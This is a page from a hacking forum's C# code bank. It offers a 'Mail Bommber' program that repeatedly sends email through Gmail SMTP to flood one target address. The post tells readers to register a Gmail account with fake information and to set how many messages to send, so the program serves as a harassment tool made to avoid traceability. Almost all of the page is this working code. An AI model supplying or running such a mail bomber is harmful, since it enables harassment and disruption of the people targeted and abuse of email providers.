Welcome to HBH! If you had an account on hellboundhacker.org you will need to reset your password using the Lost Password system before you will be able to login.

Mail Bommber - C# Code Bank


Mail Bommber
Make a gmail account with fake information and use it here. Change 150 to number of mails you want to send.
                /**
*@Author  :Tharindra Galahena
*@Project :Mail Bommber
*/

using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;
using System.Net.Mail;

namespace mail
{
    class Program
    {
        static void Main(string[] args)
        {
            try
            {
                MailMessage mail = new MailMessage();
                mail.To.Add("Address you want to send ");
                mail.From = new MailAddress("address of gmail account you create", "Any Name ");
                mail.Body = "Massage";
                SmtpClient smtp = new SmtpClient();
                smtp.Host = "smtp.gmail.com";
                smtp.Credentials = new System.Net.NetworkCredential("account_you_create @gmail.com", "password");
                smtp.EnableSsl = true;

                for (int i = 0; i < 150; i++)
                {
                    mail.Subject = (i + 1) + " subject";
                    smtp.Send(mail);
                    Console.WriteLine(i);
                }
            }
            catch (Exception e)
            {
                Console.WriteLine(e);
                Console.ReadLine();
            }
        }
    }
}
            
Comments
daiiani's avatar
daiiani 12 years ago

""""""""""""""